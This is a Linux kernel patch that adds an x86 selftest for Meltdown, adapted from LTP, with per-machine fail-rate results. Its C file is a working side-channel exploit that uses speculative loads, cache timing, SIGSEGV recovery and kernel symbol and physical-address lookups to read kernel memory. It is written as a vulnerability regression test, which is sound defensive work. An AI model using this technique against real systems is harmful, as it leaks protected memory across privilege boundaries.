To capture potential programming errors like mistakenly setting Global bit on kernel page table entries, a selftest for meltdown is added.

This selftest is based on https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown...

In addition to the existing test of reading kernel variable saved_command_line from user space, one more test of reading user local variable through kernel direct map address is added. For the existing test to report a failure, both the high kernel mapping and low kernel mapping have to be in leaked state; For the added test, only low kernel mapping leak is enough to trigger a test fail, so both tests are useful.

Test results of 10 runs:

On v6.1-rc8 with nopti kernel cmdline option:

host test_out_rate_1 test_out_rate_2 lkp-bdw-de1 50% 100% lkp-hsw-d01 70% 100% lkp-hsw-d02 0% 80% lkp-hsw-d03 60% 100% lkp-hsw-d04 20% 100% lkp-hsw-d05 60% 100% lkp-ivb-d01 0% 70% lkp-kbl-d01 100% 100% lkp-skl-d02 100% 90% lkp-skl-d03 90% 100% lkp-skl-d05 60% 100% kbl-vm 100% 80% 2 other machines have 0% rate for both tests.

bdw=broadwell, hsw=haswell, ivb=ivybridge, etc.

test_out_rate_1: test reports fail rate for the test of reading saved_command_line from user space; test_out_rate_2: test reports fail rate for the test of reading user local variable through kernel direct map address in user space.

On v5.19 without nopti cmdline option: host test_out_rate_2 lkp-bdw-de1 80% lkp-hsw-4ex1 50% lkp-hsw-d01 30% lkp-hsw-d03 10% lkp-hsw-d04 10% lkp-kbl-d01 10% kbl-vm 80% 7 other machines have 0% rate for test2.

Also tested on an i386 VM with 512M memory and the test out rate is 100% when adding nopti to kernel cmdline with v6.1-rc8.

Main changes I made from ltp's meltdown test: - Replace rdtscll() and clflush() with kernel's implementation; - Reimplement find_symbol_in_file() to avoid bringing in LTP's library functions; - Coding style changes: placing the function return type in the same line of the function.

Signed-off-by: Aaron Lu aaron.lu@intel.com Reviewed-by: Pavel Boldin boldin.pavel@gmail.com --- v2: add Pavel Boldin's reviewed-by tag.

tools/testing/selftests/x86/Makefile | 2 +- tools/testing/selftests/x86/meltdown.c | 529 +++++++++++++++++++++++++ 2 files changed, 530 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/meltdown.c

diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0388c4d60af0..36f99c360a56 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie) TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \ check_initial_reg_state sigreturn iopl ioperm \ test_vsyscall mov_ss_trap \ - syscall_arg_fault fsgsbase_restore sigaltstack + syscall_arg_fault fsgsbase_restore sigaltstack meltdown TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c new file mode 100644 index 000000000000..fcb211dc9038 --- /dev/null +++ b/tools/testing/selftests/x86/meltdown.c @@ -0,0 +1,529 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2018 Pavel Boldin pboldin@cloudlinux.com + * https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown... + */ + +#define _GNU_SOURCE +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <stdarg.h> +#include <string.h> +#include <signal.h> +#include <ucontext.h> +#include <unistd.h> +#include <fcntl.h> +#include <ctype.h> +#include <sys/utsname.h> +#include <sys/mman.h> + +#define PAGE_SHIFT 12 +#define PAGE_SIZE 0x1000 +#define PUD_SHIFT 30 +#define PUD_SIZE (1UL << PUD_SHIFT) +#define PUD_MASK (~(PUD_SIZE - 1)) + +size_t cache_miss_threshold; +unsigned long directmap_base; + +#define TARGET_OFFSET 9 +#define TARGET_SIZE (1 << TARGET_OFFSET) +#define BITS_BY_READ 2 + +static inline uint64_t rdtsc(void) +{ + uint32_t eax, edx; + uint64_t tsc_val; + /* + * The lfence is to wait (on Intel CPUs) until all previous + * instructions have been executed. If software requires RDTSC to be + * executed prior to execution of any subsequent instruction, it can + * execute LFENCE immediately after RDTSC + * */ + __asm__ __volatile__("lfence; rdtsc; lfence" : "=a"(eax), "=d"(edx)); + tsc_val = ((uint64_t)edx) << 32 | eax; + return tsc_val; +} + +static inline void clflush(volatile void *__p) +{ + asm volatile("clflush %0" : "+m" (*(volatile char *)__p)); +} + +static char target_array[BITS_BY_READ * TARGET_SIZE]; + +static void clflush_target(void) +{ + int i; + + for (i = 0; i < BITS_BY_READ; i++) + clflush(&target_array[i * TARGET_SIZE]); +} + +extern char failshere[]; +extern char stopspeculate[]; + +static void __attribute__((noinline)) speculate(unsigned long addr, char bit) +{ + register char mybit asm ("cl") = bit; +#ifdef __x86_64__ + asm volatile ( + "1:\n\t" + + ".rept 300\n\t" + "add $0x141, %%rax\n\t" + ".endr\n" + + "failshere:\n\t" + "movb (%[addr]), %%al\n\t" + "ror %[bit], %%rax\n\t" + "and $1, %%rax\n\t" + "shl $9, %%rax\n\t" + "jz 1b\n\t" + + "movq (%[target], %%rax, 1), %%rbx\n" + + "stopspeculate: \n\t" + "nop\n\t" + : + : [target] "r" (target_array), + [addr] "r" (addr), + [bit] "r" (mybit) + : "rax", "rbx" + ); +#else /* defined(__x86_64__) */ + asm volatile ( + "1:\n\t" + + ".rept 300\n\t" + "add $0x141, %%eax\n\t" + ".endr\n" + + "failshere:\n\t" + "movb (%[addr]), %%al\n\t" + "ror %[bit], %%eax\n\t" + "and $1, %%eax\n\t" + "shl $9, %%eax\n\t" + "jz 1b\n\t" + + "movl (%[target], %%eax, 1), %%ebx\n" + + "stopspeculate: \n\t" + "nop\n\t" + : + : [target] "r" (target_array), + [addr] "r" (addr), + [bit] "r" (mybit) + : "rax", "ebx" + ); +#endif +} + +#ifdef __i386__ +# define REG_RIP REG_EIP +#endif + +static void sigsegv(int sig, siginfo_t *siginfo, void *context) +{ + ucontext_t *ucontext = context; + unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP]; + if (*prip != (unsigned long)failshere) { + printf("Segmentation fault at unexpected location %lx\n", *prip); + abort(); + } + *prip = (unsigned long)stopspeculate; + return; +} + +static int set_signal(void) +{ + struct sigaction act = { + .sa_sigaction = sigsegv, + .sa_flags = SA_SIGINFO, + }; + + return sigaction(SIGSEGV, &act, NULL); +} + +static inline int get_access_time(volatile char *addr) +{ + unsigned long long time1, time2; + volatile int j __attribute__((__unused__)); + + time1 = rdtsc(); + j = *addr; + time2 = rdtsc(); + + return time2 - time1; +} + +static int cache_hit_threshold; +static int hist[BITS_BY_READ]; + +static void check(void) +{ + int i, time; + volatile char *addr; + + for (i = 0; i < BITS_BY_READ; i++) { + addr = &target_array[i * TARGET_SIZE]; + + time = get_access_time(addr); + + if (time <= cache_hit_threshold) + hist[i]++; + } +} + +#define CYCLES 10000 +static int readbit(int fd, unsigned long addr, char bit) +{ + int i, ret; + static char buf[256]; + + memset(hist, 0, sizeof(hist)); + + for (i = 0; i < CYCLES; i++) { + /* + * Make the to-be-stolen data cache and tlb hot + * to increase success rate. + */ + ret = pread(fd, buf, sizeof(buf), 0); + if (ret < 0) + printf("[INFO]\tCan't read fd"); + + clflush_target(); + + speculate(addr, bit); + check(); + } + + if (hist[1] > CYCLES / 10) + return 1; + return 0; +} + +static int readbyte(int fd, unsigned long addr) +{ + int bit, res = 0; + + for (bit = 0; bit < 8; bit ++ ) + res |= (readbit(fd, addr, bit) << bit); + + return res; +} + +static int mysqrt(long val) +{ + int root = val / 2, prevroot = 0, i = 0; + + while (prevroot != root && i++ < 100) { + prevroot = root; + root = (val / root + root) / 2; + } + + return root; +} + +#define ESTIMATE_CYCLES 1000000 +static void set_cache_hit_threshold(void) +{ + long cached, uncached, i; + + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) + cached += get_access_time(target_array); + + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) + cached += get_access_time(target_array); + + for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { + clflush(target_array); + uncached += get_access_time(target_array); + } + + cached /= ESTIMATE_CYCLES; + uncached /= ESTIMATE_CYCLES; + + cache_hit_threshold = mysqrt(cached * uncached); + + printf("[INFO]\taccess time: cached = %ld, uncached = %ld, threshold = %d\n", + cached, uncached, cache_hit_threshold); +} + +static unsigned long find_symbol_in_file(const char *filename, const char *symname) +{ + unsigned long addr; + char type, *buf; + int found; + FILE *fp; + + fp = fopen(filename, "r"); + if (!fp) { + printf("[INFO]\tFailed to open %s\n", filename); + return 0; + } + + buf = malloc(4096); + if (!buf) + return 0; + + found = 0; + while (fscanf(fp, "%lx %c %s\n", &addr, &type, buf)) { + if (!strcmp(buf, symname)) { + found = 1; + break; + } + } + + free(buf); + fclose(fp); + + return found ? addr : 0; +} + +static unsigned long find_kernel_symbol(const char *name) +{ + char systemmap[256]; + struct utsname utsname; + unsigned long addr; + + addr = find_symbol_in_file("/proc/kallsyms", name); + if (addr) + return addr; + + if (uname(&utsname) < 0) + return 0; + sprintf(systemmap, "/boot/System.map-%s", utsname.release); + addr = find_symbol_in_file(systemmap, name); + return addr; +} + +static unsigned long saved_cmdline_addr; +static int spec_fd; + +#define READ_SIZE 32 + +static int test_read_saved_command_line(void) +{ + unsigned int i, score = 0, ret; + unsigned long addr; + unsigned long size; + char read[READ_SIZE] = { 0 }; + char expected[READ_SIZE] = { 0 }; + int expected_len; + + saved_cmdline_addr = find_kernel_symbol("saved_command_line"); + if (!saved_cmdline_addr) { + printf("[SKIP]\tCan not find symbol saved_command_line\n"); + return 0; + } + printf("[INFO]\tsaved_cmdline_addr: 0x%lx\n", saved_cmdline_addr); + + spec_fd = open("/proc/cmdline", O_RDONLY); + if (spec_fd == -1) { + printf("[SKIP]\tCan not open /proc/cmdline\n"); + return 0; + } + + expected_len = pread(spec_fd, expected, sizeof(expected), 0); + if (expected_len < 0) { + printf("[SKIP]\tCan't read /proc/cmdline\n"); + return 0; + } + + /* read address of saved_cmdline_addr */ + addr = saved_cmdline_addr; + size = sizeof(addr); + for (i = 0; i < size; i++) { + ret = readbyte(spec_fd, addr); + read[i] = ret; + addr++; + } + + /* read value pointed to by saved_cmdline_addr */ + memcpy(&addr, read, sizeof(addr)); + memset(read, 0, sizeof(read)); + printf("[INFO]\tsaved_command_line: 0x%lx\n", addr); + size = expected_len; + + if (!addr) + goto done; + + for (i = 0; i < size; i++) { + ret = readbyte(spec_fd, addr); + read[i] = ret; + addr++; + } + + for (i = 0; i < size; i++) + if (expected[i] == read[i]) + score++; + +done: + if (score > size / 2) { + printf("[FAIL]\ttest_read_saved_command_line: both high and low kernel mapping leak found.\n"); + ret = -1; + } else { + printf("[OK]\ttest_read_saved_command_line: no leak found.\n"); + ret = 0; + } + + close(spec_fd); + + return ret; +} + +static int get_directmap_base(void) +{ + char *buf; + FILE *fp; + size_t n; + int ret; + + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); + if (!fp) + return -1; + + buf = NULL; + ret = -1; + while (getline(&buf, &n, fp) != -1) { + if (!strstr(buf, "Kernel Mapping")) + continue; + + if (getline(&buf, &n, fp) != -1 && + sscanf(buf, "0x%lx", &directmap_base) == 1) { + printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK); + directmap_base &= PUD_MASK; + ret = 0; + break; + } + } + + fclose(fp); + free(buf); + return ret; +} + +static int virt_to_phys(unsigned long virt, unsigned long *phys) +{ + unsigned long pfn; + uint64_t val; + int fd, ret; + + fd = open("/proc/self/pagemap", O_RDONLY); + if (fd == -1) { + printf("[INFO]\tFailed to open pagemap\n"); + return -1; + } + + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t)); + if (ret == -1) { + printf("[INFO]\tFailed to read pagemap\n"); + goto out; + } + + if (!(val & (1ULL << 63))) { + printf("[INFO]\tPage not present according to pagemap\n"); + ret = -1; + goto out; + } + + pfn = val & ((1ULL << 55) - 1); + if (pfn == 0) { + printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n"); + ret = -1; + goto out; + } + + ret = 0; + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); + +out: + close(fd); + return ret; +} + +static int test_read_local_var(void) +{ + char path[] = "/tmp/meltdown.XXXXXX"; + char string[] = "test string"; + unsigned long phys; + int i, len, ret; + char *result; + void *p; + + if (get_directmap_base() == -1) { + printf("[SKIP]\tFailed to get directmap base. Need root and CONFIG_PTDUMP_DEBUGFS\n"); + return 0; + } + + spec_fd = mkstemp(path); + if (spec_fd == -1) { + printf("[SKIP]\tCan not open %s\n", path); + return 0; + } + ftruncate(spec_fd, 0x1000); + + p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, spec_fd, 0); + if (p == MAP_FAILED) { + printf("[SKIP]\tmmap spec_fd failed\n"); + return 0; + } + memcpy(p, string, sizeof(string)); + + if (virt_to_phys((unsigned long)p, &phys) == -1) { + printf("[SKIP]\tCan not convert virtual address to physical address\n"); + return 0; + } + + len = strlen(string); + result = malloc(len + 1); + if (!result) { + printf("[SKIP]\tNot enough memory for malloc\n"); + return 0; + } + memset(result, 0, len + 1); + + for (i = 0; i < len; i++, phys++) { + result[i] = readbyte(spec_fd, directmap_base + phys); + if (result[i] == 0) + break; + } + + ret = !strncmp(string, result, len); + if (ret) + printf("[FAIL]\ttest_read_local_var: low kernel mapping leak found.\n"); + else + printf("[OK]\ttest_read_local_var: no leak found.\n"); + + free(result); + munmap(p, 0x1000); + close(spec_fd); + + return ret; +} + +int main(void) +{ + int ret1, ret2; + + printf("[RUN]\tTest if system is vulnerable to meltdown\n"); + + set_cache_hit_threshold(); + + memset(target_array, 1, sizeof(target_array)); + + if (set_signal() < 0) { + printf("[SKIP]\tCan not set handler for segfault\n"); + return 0; + } + + ret1 = test_read_local_var(); + ret2 = test_read_saved_command_line(); + + if (ret1 || ret2) + return -1; + + return 0; +}